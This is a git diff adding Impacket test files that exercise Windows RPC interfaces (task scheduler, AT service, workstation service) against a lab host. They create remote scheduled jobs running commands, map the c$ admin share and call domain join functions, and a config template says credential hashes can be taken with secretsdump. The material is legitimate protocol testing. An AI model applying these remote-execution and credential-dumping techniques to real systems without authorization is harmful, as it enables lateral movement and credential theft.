+        atInfo['DaysOfWeek'] = 0
+        atInfo['Flags'] = 0
+        atInfo['Command'] = '%%COMSPEC%% /C vssadmin > %%SYSTEMROOT%%\\Temp\\ANI 2>&1\x00'
+
+        try:
+            resp = atsvc.hNetrJobAdd(dce_2, NULL, atInfo)
+            resp.dump()
+        except atsvc.DCERPCSessionError as e:
+            if e.get_error_code() != ERROR_NOT_SUPPORTED:
+                raise
+            else:
+                # OpNum not supported, aborting test
+                return
+        jobId = resp['pJobId']
+
+        try:
+            resp = tsch.hSchRpcRun(dce, '\\At%d\x00' % jobId, ('arg0','arg1'))
+            resp.dump()
+        except tsch.DCERPCSessionError as e:
+            print(e)
+            pass
+
+        try:
+            resp = tsch.hSchRpcStopInstance(dce, resp['pGuid'])
+            resp.dump()
+        except tsch.DCERPCSessionError as e:
+            if str(e).find('SCHED_E_TASK_NOT_RUNNING') <= 0:
+                raise
+            pass
+
+        try:
+            resp = atsvc.hNetrJobDel(dce_2, NULL, jobId, jobId)
+            resp.dump()
+        except atsvc.DCERPCSessionError as e:
+            if e.get_error_code() != ERROR_NOT_SUPPORTED:
+                raise
+            else:
+                # OpNum not supported, aborting test
+                return
+
+    def test_SchRpcStop(self):
+        dce, rpc_transport = self.connect()
+        dce_2, rpc_transport_2 = self.connect(iface_uuid=atsvc.MSRPC_UUID_ATSVC)
+
+        atInfo = AT_INFO()
+        atInfo['JobTime'] = NULL
+        atInfo['DaysOfMonth'] = 0
+        atInfo['DaysOfWeek'] = 0
+        atInfo['Flags'] = 0
+        atInfo['Command'] = '%%COMSPEC%% /C vssadmin > %%SYSTEMROOT%%\\Temp\\ANI 2>&1\x00'
+
+        try:
+            resp = atsvc.hNetrJobAdd(dce_2, NULL, atInfo)
+            resp.dump()
+        except atsvc.DCERPCSessionError as e:
+            if e.get_error_code() != ERROR_NOT_SUPPORTED:
+                raise
+            else:
+                # OpNum not supported, aborting test
+                return
+        jobId = resp['pJobId']
+
+        request = tsch.SchRpcStop()
+        request['path'] = '\\At%d\x00' % jobId
+        request['flags'] = 0
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except tsch.DCERPCSessionError as e:
+            # It is actually S_FALSE
+            if str(e).find('ERROR_INVALID_FUNCTION') <= 0:
+                raise
+            pass
+
+        resp = atsvc.hNetrJobDel(dce_2, NULL, jobId, jobId)
+        resp.dump()
+
+    def test_hSchRpcStop(self):
+        dce, rpc_transport = self.connect()
+        dce_2, rpc_transport_2 = self.connect(iface_uuid=atsvc.MSRPC_UUID_ATSVC)
+
+        atInfo = AT_INFO()
+        atInfo['JobTime'] = NULL
+        atInfo['DaysOfMonth'] = 0
+        atInfo['DaysOfWeek'] = 0
+        atInfo['Flags'] = 0
+        atInfo['Command'] = '%%COMSPEC%% /C vssadmin > %%SYSTEMROOT%%\\Temp\\ANI 2>&1\x00'
+
+        try:
+            resp = atsvc.hNetrJobAdd(dce_2, NULL, atInfo)
+            resp.dump()
+        except atsvc.DCERPCSessionError as e:
+            if e.get_error_code() != ERROR_NOT_SUPPORTED:
+                raise
+            else:
+                # OpNum not supported, aborting test
+                return
+        jobId = resp['pJobId']
+
+        try:
+            resp = tsch.hSchRpcStop(dce, '\\At%d\x00' % jobId)
+            resp.dump()
+        except tsch.DCERPCSessionError as e:
+            # It is actually S_FALSE
+            if str(e).find('ERROR_INVALID_FUNCTION') <= 0:
+                raise
+            pass
+
+        resp = atsvc.hNetrJobDel(dce_2, NULL, jobId, jobId)
+        resp.dump()
+
+    def test_SchRpcRename(self):
+        dce, rpc_transport = self.connect()
+        resp = tsch.hSchRpcCreateFolder(dce, '\\Beto')
+        resp.dump()
+
+        request = tsch.SchRpcRename()
+        request['path'] = '\\Beto\x00'
+        request['newName'] = '\\Anita\x00'
+        request['flags'] = 0
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except tsch.DCERPCSessionError as e:
+            if str(e).find('E_NOTIMPL') <= 0:
+                raise
+            pass
+
+        resp = tsch.hSchRpcDelete(dce, '\\Beto')
+        resp.dump()
+
+    def test_hSchRpcRename(self):
+        dce, rpc_transport = self.connect()
+        resp = tsch.hSchRpcCreateFolder(dce, '\\Beto')
+        resp.dump()
+
+        try:
+            resp = tsch.hSchRpcRename(dce, '\\Beto', '\\Anita')
+            resp.dump()
+        except tsch.DCERPCSessionError as e:
+            if str(e).find('E_NOTIMPL') <= 0:
+                raise
+            pass
+
+        resp = tsch.hSchRpcDelete(dce, '\\Beto')
+        resp.dump()
+
+    def test_SchRpcScheduledRuntimes(self):
+        dce, rpc_transport = self.connect()
+        request = tsch.SchRpcScheduledRuntimes()
+        request['path'] = '\\Microsoft\\Windows\\Defrag\\ScheduledDefrag\x00'
+        request['start'] = NULL
+        request['end'] = NULL
+        request['flags'] = 0
+        request['cRequested'] = 10
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except tsch.DCERPCSessionError as e:
+            # It is actually S_FALSE
+            if str(e).find('ERROR_INVALID_FUNCTIO') <= 0 and str(e).find('SCHED_S_TASK_NOT_SCHEDULED') < 0:
+                raise
+            e.get_packet().dump()
+            pass
+
+    def test_hSchRpcScheduledRuntimes(self):
+        dce, rpc_transport = self.connect()
+        request = tsch.SchRpcScheduledRuntimes()
+        request['path'] = '\\Microsoft\\Windows\\Defrag\\ScheduledDefrag\x00'
+        request['start'] = NULL
+        request['end'] = NULL
+        request['flags'] = 0
+        request['cRequested'] = 10
+        try:
+            resp = tsch.hSchRpcScheduledRuntimes(dce, '\\Microsoft\\Windows\\Defrag\\ScheduledDefrag', NULL, NULL, 0, 10)
+            resp.dump()
+        except tsch.DCERPCSessionError as e:
+            # It is actually S_FALSE
+            if str(e).find('ERROR_INVALID_FUNCTIO') <= 0 and str(e).find('SCHED_S_TASK_NOT_SCHEDULED') < 0:
+                raise
+            e.get_packet().dump()
+            pass
+
+    def test_SchRpcGetLastRunInfo(self):
+        dce, rpc_transport = self.connect()
+        request = tsch.SchRpcGetLastRunInfo()
+        request['path'] = '\\Microsoft\\Windows\\Defrag\\ScheduledDefrag\x00'
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except tsch.DCERPCSessionError as e:
+            if str(e).find('SCHED_S_TASK_HAS_NOT_RUN') <= 0:
+                raise
+            pass
+
+    def test_hSchRpcGetLastRunInfo(self):
+        dce, rpc_transport = self.connect()
+        try:
+            resp = tsch.hSchRpcGetLastRunInfo(dce, '\\Microsoft\\Windows\\Defrag\\ScheduledDefrag')
+            resp.dump()
+        except tsch.DCERPCSessionError as e:
+            if str(e).find('SCHED_S_TASK_HAS_NOT_RUN') <= 0:
+                raise
+            pass
+
+    def test_SchRpcGetTaskInfo(self):
+        dce, rpc_transport = self.connect()
+        request = tsch.SchRpcGetTaskInfo()
+        request['path'] = '\\Microsoft\\Windows\\Defrag\\ScheduledDefrag\x00'
+        request['flags'] = tsch.SCH_FLAG_STATE
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except tsch.DCERPCSessionError as e:
+            print(e)
+            pass
+
+    def test_hSchRpcGetTaskInfo(self):
+        dce, rpc_transport = self.connect()
+        try:
+            resp = tsch.hSchRpcGetTaskInfo(dce, '\\Microsoft\\Windows\\Defrag\\ScheduledDefrag', tsch.SCH_FLAG_STATE)
+            resp.dump()
+        except tsch.DCERPCSessionError as e:
+            print(e)
+            pass
+
+    def test_SchRpcGetNumberOfMissedRuns(self):
+        dce, rpc_transport = self.connect()
+        request = tsch.SchRpcGetNumberOfMissedRuns()
+        request['path'] = '\\Microsoft\\Windows\\Defrag\\ScheduledDefrag\x00'
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except tsch.DCERPCSessionError as e:
+            print(e)
+            pass
+
+    def test_hSchRpcGetNumberOfMissedRuns(self):
+        dce, rpc_transport = self.connect()
+        try:
+            resp = tsch.hSchRpcGetNumberOfMissedRuns(dce, '\\Microsoft\\Windows\\Defrag\\ScheduledDefrag')
+            resp.dump()
+        except tsch.DCERPCSessionError as e:
+            print(e)
+            pass
+
+    def test_SchRpcEnableTask(self):
+        dce, rpc_transport = self.connect()
+        request = tsch.SchRpcEnableTask()
+        request['path'] = '\\Microsoft\\Windows\\Defrag\\ScheduledDefrag\x00'
+        request['enabled'] = 1
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except tsch.DCERPCSessionError as e:
+            print(e)
+            pass
+
+    def test_hSchRpcEnableTask(self):
+        dce, rpc_transport = self.connect()
+        try:
+            resp = tsch.hSchRpcEnableTask(dce, '\\Microsoft\\Windows\\Defrag\\ScheduledDefrag', True)
+            resp.dump()
+        except tsch.DCERPCSessionError as e:
+            print(e)
+            pass
+
+
+@pytest.mark.remote
+class ATSVCTestsSMBTransport(ATSVCTests, unittest.TestCase):
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR
+
+
+@pytest.mark.remote
+class ATSVCTestsSMBTransport64(ATSVCTests, unittest.TestCase):
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64
+
+
+@pytest.mark.remote
+class SASECTestsSMBTransport(SASECTests, unittest.TestCase):
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR
+
+
+@pytest.mark.remote
+class SASECTestsSMBTransport64(SASECTests, unittest.TestCase):
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64
+
+
+@pytest.mark.remote
+class TSCHTestsSMBTransport(TSCHTests, unittest.TestCase):
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR
+
+
+@pytest.mark.remote
+class TSCHTestsSMBTransport64(TSCHTests, unittest.TestCase):
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64
+
+
+# Process command-line arguments.
+if __name__ == "__main__":
+    unittest.main(verbosity=1)
diff --git a/tests/dcerpc/test_wkst.py b/tests/dcerpc/test_wkst.py
new file mode 100644
index 0000000..7070b26
--- /dev/null
+++ b/tests/dcerpc/test_wkst.py
@@ -0,0 +1,557 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Tested so far:
+#   (h)NetrWkstaGetInfo
+#   (h)NetrWkstaUserEnum
+#   (h)NetrWkstaTransportEnum
+#   (h)NetrWkstaSetInfo
+#   NetrWkstaTransportAdd
+#   (h)NetrUseAdd
+#   (h)NetrUseGetInfo
+#   (h)NetrUseDel
+#   (h)NetrUseEnum
+#   (h)NetrWorkstationStatisticsGet
+#   (h)NetrGetJoinInformation
+#   (h)NetrJoinDomain2
+#   (h)NetrUnjoinDomain2
+#   (h)NetrRenameMachineInDomain2
+#   (h)NetrValidateName2
+#   (h)NetrGetJoinableOUs2
+#   (h)NetrAddAlternateComputerName
+#   (h)NetrRemoveAlternateComputerName
+#   (h)NetrSetPrimaryComputerName
+#   (h)NetrEnumerateComputerNames
+#
+# Not yet:
+#   NetrWkstaTransportDel
+#
+from __future__ import division
+from __future__ import print_function
+
+import pytest
+import unittest
+from tests.dcerpc import DCERPCTests
+
+from impacket.dcerpc.v5 import wkst
+from impacket.dcerpc.v5.ndr import NULL
+
+
+class WKSTTests(DCERPCTests):
+    iface_uuid = wkst.MSRPC_UUID_WKST
+    string_binding = r"ncacn_np:{0.machine}[\PIPE\wkssvc]"
+    authn = True
+
+    def test_NetrWkstaGetInfo(self):
+        dce, rpc_transport = self.connect()
+        request = wkst.NetrWkstaGetInfo()
+        request['ServerName'] = '\x00'*10
+        request['Level'] = 100
+        resp = dce.request(request)
+        resp.dump()
+
+        request['Level'] = 101
+        resp = dce.request(request)
+        resp.dump()
+
+        request['Level'] = 102
+        resp = dce.request(request)
+        resp.dump()
+
+        request['Level'] = 502
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hNetrWkstaGetInfo(self):
+        dce, rpc_transport = self.connect()
+        resp = wkst.hNetrWkstaGetInfo(dce, 100)
+        resp.dump()
+
+        resp = wkst.hNetrWkstaGetInfo(dce, 101)
+        resp.dump()
+
+        resp = wkst.hNetrWkstaGetInfo(dce, 102)
+        resp.dump()
+
+        resp = wkst.hNetrWkstaGetInfo(dce, 502)
+        resp.dump()
+
+    def test_NetrWkstaUserEnum(self):
+        dce, rpc_transport = self.connect()
+        request = wkst.NetrWkstaUserEnum()
+        request['ServerName'] = '\x00'*10
+        request['UserInfo']['Level'] = 0
+        request['UserInfo']['WkstaUserInfo']['tag'] = 0
+        request['PreferredMaximumLength'] = 8192
+        resp = dce.request(request)
+        resp.dump()
+
+        request['UserInfo']['Level'] = 1
+        request['UserInfo']['WkstaUserInfo']['tag'] = 1
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hNetrWkstaUserEnum(self):
+        dce, rpc_transport = self.connect()
+        resp = wkst.hNetrWkstaUserEnum(dce, 0)
+        resp.dump()
+
+        resp = wkst.hNetrWkstaUserEnum(dce, 1)
+        resp.dump()
+
+    def test_NetrWkstaTransportEnum(self):
+        dce, rpc_transport = self.connect()
+        request = wkst.NetrWkstaTransportEnum()
+        request['ServerName'] = '\x00'*10
+        request['TransportInfo']['Level'] = 0
+        request['TransportInfo']['WkstaTransportInfo']['tag'] = 0
+        request['PreferredMaximumLength'] = 500
+        request['ResumeHandle'] = NULL
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hNetrWkstaTransportEnum(self):
+        dce, rpc_transport = self.connect()
+        resp = wkst.hNetrWkstaTransportEnum(dce, 0)
+        resp.dump()
+
+    def test_NetrWkstaSetInfo(self):
+        dce, rpc_transport = self.connect()
+        request = wkst.NetrWkstaGetInfo()
+        request['ServerName'] = '\x00'*10
+        request['Level'] = 502
+        resp = dce.request(request)
+        resp.dump()
+        oldVal = resp['WkstaInfo']['WkstaInfo502']['wki502_dormant_file_limit']
+
+        req = wkst.NetrWkstaSetInfo()
+        req['ServerName'] = '\x00'*10
+        req['Level'] = 502
+        req['WkstaInfo'] = resp['WkstaInfo']
+        req['WkstaInfo']['WkstaInfo502']['wki502_dormant_file_limit'] = 500
+        resp2 = dce.request(req)
+        resp2.dump()
+
+        resp = dce.request(request)
+        self.assertEqual(500, resp['WkstaInfo']['WkstaInfo502']['wki502_dormant_file_limit'])
+
+        req['WkstaInfo']['WkstaInfo502']['wki502_dormant_file_limit'] = oldVal
+        resp2 = dce.request(req)
+        resp2.dump()
+
+    def test_hNetrWkstaSetInfo(self):
+        dce, rpc_transport = self.connect()
+        resp = wkst.hNetrWkstaGetInfo(dce, 502)
+        resp.dump()
+        oldVal = resp['WkstaInfo']['WkstaInfo502']['wki502_dormant_file_limit']
+
+        resp['WkstaInfo']['WkstaInfo502']['wki502_dormant_file_limit'] = 500
+        resp2 = wkst.hNetrWkstaSetInfo(dce, 502, resp['WkstaInfo']['WkstaInfo502'])
+        resp2.dump()
+
+        resp = wkst.hNetrWkstaGetInfo(dce, 502)
+        resp.dump()
+        self.assertEqual(500, resp['WkstaInfo']['WkstaInfo502']['wki502_dormant_file_limit'])
+
+        resp['WkstaInfo']['WkstaInfo502']['wki502_dormant_file_limit'] = oldVal
+        resp2 = wkst.hNetrWkstaSetInfo(dce, 502, resp['WkstaInfo']['WkstaInfo502'])
+        resp2.dump()
+
+    def test_NetrWkstaTransportAdd(self):
+        dce, rpc_transport = self.connect()
+        req = wkst.NetrWkstaTransportAdd()
+        req['ServerName'] = '\x00'*10
+        req['Level'] = 0
+        req['TransportInfo']['wkti0_transport_name'] = 'BETO\x00'
+        req['TransportInfo']['wkti0_transport_address'] = '000C29BC5CE5\x00'
+        try:
+            resp2 = dce.request(req)
+            resp2.dump()
+        except Exception as e:
+            if str(e).find('ERROR_INVALID_FUNCTION') < 0:
+                raise
+
+    def test_hNetrUseAdd_hNetrUseDel_hNetrUseGetInfo_hNetrUseEnum(self):
+        dce, rpc_transport = self.connect()
+
+        info1 = wkst.LPUSE_INFO_1()
+        info1['ui1_local'] = 'Z:\x00'
+        info1['ui1_remote'] = '\\\\127.0.0.1\\c$\x00'
+        info1['ui1_password'] = NULL
+        try:
+            resp = wkst.hNetrUseAdd(dce, 1, info1)
+            resp.dump()
+        except Exception as e:
+            if str(e).find('rpc_s_access_denied') >=0:
+                # This could happen in newer OSes
+                pass
+
+        # We're not testing this call with NDR64, it fails and I can't see the contents
+        if self.transfer_syntax == ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0'):
+            return
+
+        try:
+            resp = wkst.hNetrUseEnum(dce, 2)
+            resp.dump()
+        except Exception as e:
+            if str(e).find('STATUS_PIPE_DISCONNECTED') >=0:
+                # This could happen in newer OSes
+                pass
+
+        try:
+            resp2 = wkst.hNetrUseGetInfo(dce, 'Z:', 3)
+            resp2.dump()
+        except Exception as e:
+            if str(e).find('STATUS_PIPE_DISCONNECTED') >=0:
+                # This could happen in newer OSes
+                pass
+
+        try:
+            resp = wkst.hNetrUseDel(dce,'Z:')
+            resp.dump()
+        except Exception as e:
+            if str(e).find('STATUS_PIPE_DISCONNECTED') >=0:
+                # This could happen in newer OSes
+                pass
+
+    def test_NetrUseAdd_NetrUseDel_NetrUseGetInfo_NetrUseEnum(self):
+        dce, rpc_transport = self.connect()
+        req = wkst.NetrUseAdd()
+        req['ServerName'] = '\x00'*10
+        req['Level'] = 1
+        req['InfoStruct']['tag'] = 1
+        req['InfoStruct']['UseInfo1']['ui1_local'] = 'Z:\x00'
+        req['InfoStruct']['UseInfo1']['ui1_remote'] = '\\\\127.0.0.1\\c$\x00'
+        req['InfoStruct']['UseInfo1']['ui1_password'] = NULL
+        try:
+            resp2 = dce.request(req)
+            resp2.dump()
+        except Exception as e:
+            if str(e).find('rpc_s_access_denied') >=0:
+                # This could happen in newer OSes
+                pass
+
+        # We're not testing this call with NDR64, it fails and I can't see the contents
+        if self.transfer_syntax == ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0'):
+            return
+
+        req = wkst.NetrUseEnum()
+        req['ServerName'] = NULL
+        req['InfoStruct']['Level'] = 2
+        req['InfoStruct']['UseInfo']['tag'] = 2
+        req['InfoStruct']['UseInfo']['Level2']['Buffer'] = NULL
+        req['PreferredMaximumLength'] = 0xffffffff
+        req['ResumeHandle'] = NULL
+        try:
+            resp2 = dce.request(req)
+            resp2.dump()
+        except Exception as e:
+            if str(e).find('rpc_s_access_denied') >=0:
+                # This could happen in newer OSes
+                pass
+
+        req = wkst.NetrUseGetInfo()
+        req['ServerName'] = '\x00'*10
+        req['UseName'] = 'Z:\x00'
+        req['Level'] = 3
+        try:
+            resp2 = dce.request(req)
+            resp2.dump()
+        except Exception as e:
+            if str(e).find('rpc_s_access_denied') >=0:
+                # This could happen in newer OSes
+                pass
+
+        req = wkst.NetrUseDel()
+        req['ServerName'] = '\x00'*10
+        req['UseName'] = 'Z:\x00'
+        req['ForceLevel'] = wkst.USE_LOTS_OF_FORCE
+        try:
+            resp2 = dce.request(req)
+            resp2.dump()
+        except Exception as e:
+            if str(e).find('rpc_s_access_denied') >=0:
+                # This could happen in newer OSes
+                pass
+
+    def test_NetrWorkstationStatisticsGet(self):
+        dce, rpc_transport = self.connect()
+        req = wkst.NetrWorkstationStatisticsGet()
+        req['ServerName'] = '\x00'*10
+        req['ServiceName'] = '\x00'
+        req['Level'] = 0
+        req['Options'] = 0
+        try:
+            resp2 = dce.request(req)
+            resp2.dump()
+        except Exception as e:
+            if str(e).find('ERROR_INVALID_PARAMETER') < 0:
+                raise
+
+    def test_hNetrWorkstationStatisticsGet(self):
+        dce, rpc_transport = self.connect()
+        try:
+            resp2 = wkst.hNetrWorkstationStatisticsGet(dce, '\x00', 0, 0)
+            resp2.dump()
+        except Exception as e:
+            if str(e).find('ERROR_INVALID_PARAMETER') < 0:
+                raise
+
+    def test_NetrGetJoinInformation(self):
+        dce, rpc_transport = self.connect()
+        req = wkst.NetrGetJoinInformation()
+        req['ServerName'] = '\x00'*10
+        req['NameBuffer'] = '\x00'
+        try:
+            resp2 = dce.request(req)
+            resp2.dump()
+        except Exception as e:
+            if str(e).find('ERROR_INVALID_PARAMETER') < 0:
+                raise
+
+    def test_hNetrGetJoinInformation(self):
+        dce, rpc_transport = self.connect()
+        try:
+            resp = wkst.hNetrGetJoinInformation(dce, '\x00')
+            resp.dump()
+        except Exception as e:
+            if str(e).find('ERROR_INVALID_PARAMETER') < 0:
+                raise
+
+    def test_NetrJoinDomain2(self):
+        dce, rpc_transport = self.connect()
+        req = wkst.NetrJoinDomain2()
+        req['ServerName'] = '\x00'*10
+        req['DomainNameParam'] = '172.16.123.1\\FREEFLY\x00'
+        req['MachineAccountOU'] = 'OU=BETUS,DC=FREEFLY\x00'
+        req['AccountName'] = NULL
+        req['Password']['Buffer'] = '\x00'*512
+        req['Options'] = wkst.NETSETUP_DOMAIN_JOIN_IF_JOINED
+        try:
+            resp2 = dce.request(req)
+            resp2.dump()
+        except Exception as e:
+            if str(e).find('ERROR_INVALID_PASSWORD') < 0:
+                raise
+
+    def test_hNetrJoinDomain2(self):
+        dce, rpc_transport = self.connect()
+        try:
+            resp = wkst.hNetrJoinDomain2(dce, '172.16.123.1\\FREEFLY\x00', 'OU=BETUS,DC=FREEFLY\x00',
+                                         NULL, '\x00'*512, wkst.NETSETUP_DOMAIN_JOIN_IF_JOINED)
+            resp.dump()
+        except Exception as e:
+            if str(e).find('ERROR_INVALID_PASSWORD') < 0:
+                raise
+
+    def test_NetrUnjoinDomain2(self):
+        dce, rpc_transport = self.connect()
+        req = wkst.NetrUnjoinDomain2()
+        req['ServerName'] = '\x00'*10
+        req['AccountName'] = NULL
+        req['Password']['Buffer'] = '\x00'*512
+        req['Options'] = wkst.NETSETUP_ACCT_DELETE
+        try:
+            resp2 = dce.request(req)
+            resp2.dump()
+        except Exception as e:
+            if str(e).find('ERROR_INVALID_PASSWORD') < 0:
+                raise
+
+    def test_hNetrUnjoinDomain2(self):
+        dce, rpc_transport = self.connect()
+        try:
+            resp = wkst.hNetrUnjoinDomain2(dce, NULL, b'\x00'*512, wkst.NETSETUP_ACCT_DELETE)
+            resp.dump()
+        except Exception as e:
+            if str(e).find('ERROR_INVALID_PASSWORD') < 0:
+                raise
+
+    def test_NetrRenameMachineInDomain2(self):
+        dce, rpc_transport = self.connect()
+        req = wkst.NetrRenameMachineInDomain2()
+        req['ServerName'] = '\x00'*10
+        req['MachineName'] = 'BETUS\x00'
+        req['AccountName'] = NULL
+        req['Password']['Buffer'] = '\x00'*512
+        req['Options'] = wkst.NETSETUP_ACCT_CREATE
+        try:
+            resp2 = dce.request(req)
+            resp2.dump()
+        except Exception as e:
+            if str(e).find('ERROR_INVALID_PASSWORD') < 0:
+                raise
+
+    def test_hNetrRenameMachineInDomain2(self):
+        dce, rpc_transport = self.connect()
+        try:
+            resp = wkst.hNetrRenameMachineInDomain2(dce, 'BETUS\x00', NULL, b'\x00'*512, wkst.NETSETUP_ACCT_CREATE)
+            resp.dump()
+        except Exception as e:
+            if str(e).find('ERROR_INVALID_PASSWORD') < 0:
+                raise
+
+    def test_NetrValidateName2(self):
+        dce, rpc_transport = self.connect()
+
+        req = wkst.NetrValidateName2()
+        req['ServerName'] = '\x00'*10
+        req['NameToValidate'] = 'BETO\x00'
+        req['AccountName'] = NULL
+        req['Password'] = NULL
+        req['NameType'] = wkst.NETSETUP_NAME_TYPE.NetSetupDomain
+        try:
+            resp2 = dce.request(req)
+            resp2.dump()
+        except Exception as e:
+            if str(e).find('0x8001011c') < 0:
+                raise
+
+    def test_hNetrValidateName2(self):
+        dce, rpc_transport = self.connect()
+
+        try:
+            resp2 = wkst.hNetrValidateName2(dce, 'BETO\x00', NULL, NULL, wkst.NETSETUP_NAME_TYPE.NetSetupDomain)
+            resp2.dump()
+        except Exception as e:
+            if str(e).find('0x8001011c') < 0:
+                raise
+
+    def test_NetrGetJoinableOUs2(self):
+        dce, rpc_transport = self.connect()
+
+        req = wkst.NetrGetJoinableOUs2()
+        req['ServerName'] = '\x00'*10
+        req['DomainNameParam'] = 'FREEFLY\x00'
+        req['AccountName'] = NULL
+        req['Password'] = NULL
+        req['OUCount'] = 0
+        try:
+            resp2 = dce.request(req)
+            resp2.dump()
+        except Exception as e:
+            if str(e).find('0x8001011c') < 0:
+                raise
+
+    def test_hNetrGetJoinableOUs2(self):
+        dce, rpc_transport = self.connect()
+        try:
+            resp = wkst.hNetrGetJoinableOUs2(dce, 'FREEFLY\x00', NULL, NULL, 0)
+            resp.dump()
+        except Exception as e:
+            if str(e).find('0x8001011c') < 0:
+                raise
+
+    def test_NetrAddAlternateComputerName(self):
+        dce, rpc_transport = self.connect()
+        req = wkst.NetrAddAlternateComputerName()
+        req['ServerName'] = '\x00'*10
+        req['AlternateName'] = 'FREEFLY\x00'
+        req['DomainAccount'] = NULL
+        req['EncryptedPassword'] = NULL
+        try:
+            resp2 = dce.request(req)
+            resp2.dump()
+        except Exception as e:
+            if str(e).find('ERROR_NOT_SUPPORTED') < 0 and str(e).find('ERROR_INVALID_PASSWORD') < 0:
+                raise
+
+    def test_hNetrAddAlternateComputerName(self):
+        dce, rpc_transport = self.connect()
+        try:
+            resp2 = wkst.hNetrAddAlternateComputerName(dce, 'FREEFLY\x00', NULL, NULL)
+            resp2.dump()
+        except Exception as e:
+            if str(e).find('ERROR_NOT_SUPPORTED') < 0 and str(e).find('ERROR_INVALID_PASSWORD') < 0:
+                raise
+
+    def test_NetrRemoveAlternateComputerName(self):
+        dce, rpc_transport = self.connect()
+        req = wkst.NetrRemoveAlternateComputerName()
+        req['ServerName'] = '\x00'*10
+        req['AlternateName'] = 'FREEFLY\x00'
+        req['DomainAccount'] = NULL
+        req['EncryptedPassword'] = NULL
+        try:
+            resp2 = dce.request(req)
+            resp2.dump()
+        except Exception as e:
+            if str(e).find('ERROR_NOT_SUPPORTED') < 0 and str(e).find('ERROR_INVALID_PASSWORD') < 0:
+                raise
+
+    def test_hNetrRemoveAlternateComputerName(self):
+        dce, rpc_transport = self.connect()
+        try:
+            resp2 = wkst.hNetrRemoveAlternateComputerName(dce, 'FREEFLY\x00', NULL, NULL)
+            resp2.dump()
+        except Exception as e:
+            if str(e).find('ERROR_NOT_SUPPORTED') < 0 and str(e).find('ERROR_INVALID_PASSWORD') < 0:
+                raise
+
+    def test_NetrSetPrimaryComputerName(self):
+        dce, rpc_transport = self.connect()
+        req = wkst.NetrSetPrimaryComputerName()
+        req['ServerName'] = '\x00'*10
+        req['PrimaryName'] = 'FREEFLY\x00'
+        req['DomainAccount'] = NULL
+        req['EncryptedPassword'] = NULL
+        try:
+            resp2 = dce.request(req)
+            resp2.dump()
+        except Exception as e:
+            if str(e).find('ERROR_NOT_SUPPORTED') < 0:
+                if str(e).find('ERROR_INVALID_PARAMETER') < 0:
+                    raise
+
+    def test_hNetrSetPrimaryComputerName(self):
+        dce, rpc_transport = self.connect()
+        try:
+            resp2 = wkst.hNetrSetPrimaryComputerName(dce, 'FREEFLY\x00', NULL, NULL)
+            resp2.dump()
+        except Exception as e:
+            if str(e).find('ERROR_NOT_SUPPORTED') < 0:
+                if str(e).find('ERROR_INVALID_PARAMETER') < 0:
+                    raise
+
+    def test_NetrEnumerateComputerNames(self):
+        dce, rpc_transport = self.connect()
+
+        req = wkst.NetrEnumerateComputerNames()
+        req['ServerName'] = '\x00'*10
+        req['NameType'] = wkst.NET_COMPUTER_NAME_TYPE.NetAllComputerNames
+        try:
+            resp2 = dce.request(req)
+            resp2.dump()
+        except Exception as e:
+            if str(e).find('ERROR_NOT_SUPPORTED') < 0:
+                raise
+
+    def test_hNetrEnumerateComputerNames(self):
+        dce, rpc_transport = self.connect()
+
+        try:
+            resp2 = wkst.hNetrEnumerateComputerNames(dce, wkst.NET_COMPUTER_NAME_TYPE.NetAllComputerNames)
+            resp2.dump()
+        except wkst.DCERPCSessionError as e:
+            if str(e).find('ERROR_NOT_SUPPORTED') < 0:
+                raise
+
+
+@pytest.mark.remote
+class WKSTTestsSMBTransport(WKSTTests, unittest.TestCase):
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR
+
+
+@pytest.mark.remote
+class WKSTTestsSMBTransport64(WKSTTests, unittest.TestCase):
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64
+
+
+# Process command-line arguments.
+if __name__ == "__main__":
+    unittest.main(verbosity=1)
diff --git a/tests/dcetests.cfg.template b/tests/dcetests.cfg.template
new file mode 100644
index 0000000..b9e9070
--- /dev/null
+++ b/tests/dcetests.cfg.template
@@ -0,0 +1,21 @@
+[global]
+
+[TCPTransport]
+# NetBIOS Name
+servername =
+# Targets IP
+machine =
+username =
+password =
+# NTLM Hash, you can grab it with secretsdump
+hashes =
+# Kerberos AES 256 Key, you can grab it with secretsdump
+aesKey256 =
+# Kerberos AES 128 Key, you can grab it with secretsdump
+aesKey128 =
+# It must be the domain FQDN
+domain =
+# This need to be a domain joined machine NetBIOS name
+machineuser =
+# Domain joined machine NetBIOS name hashes (grab them with secretsdump)
+machineuserhashes =
diff --git a/tests/dot11/__init__.py b/tests/dot11/__init__.py
new file mode 100644
index 0000000..3424c5e
--- /dev/null
+++ b/tests/dot11/__init__.py
@@ -0,0 +1,7 @@
+#!/usr/bin/env python
+# SECUREAUTH LABS. Copyright 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
diff --git a/tests/dot11/test_Dot11Base.py b/tests/dot11/test_Dot11Base.py
new file mode 100644
index 0000000..b878a8a
--- /dev/null
+++ b/tests/dot11/test_Dot11Base.py
@@ -0,0 +1,110 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
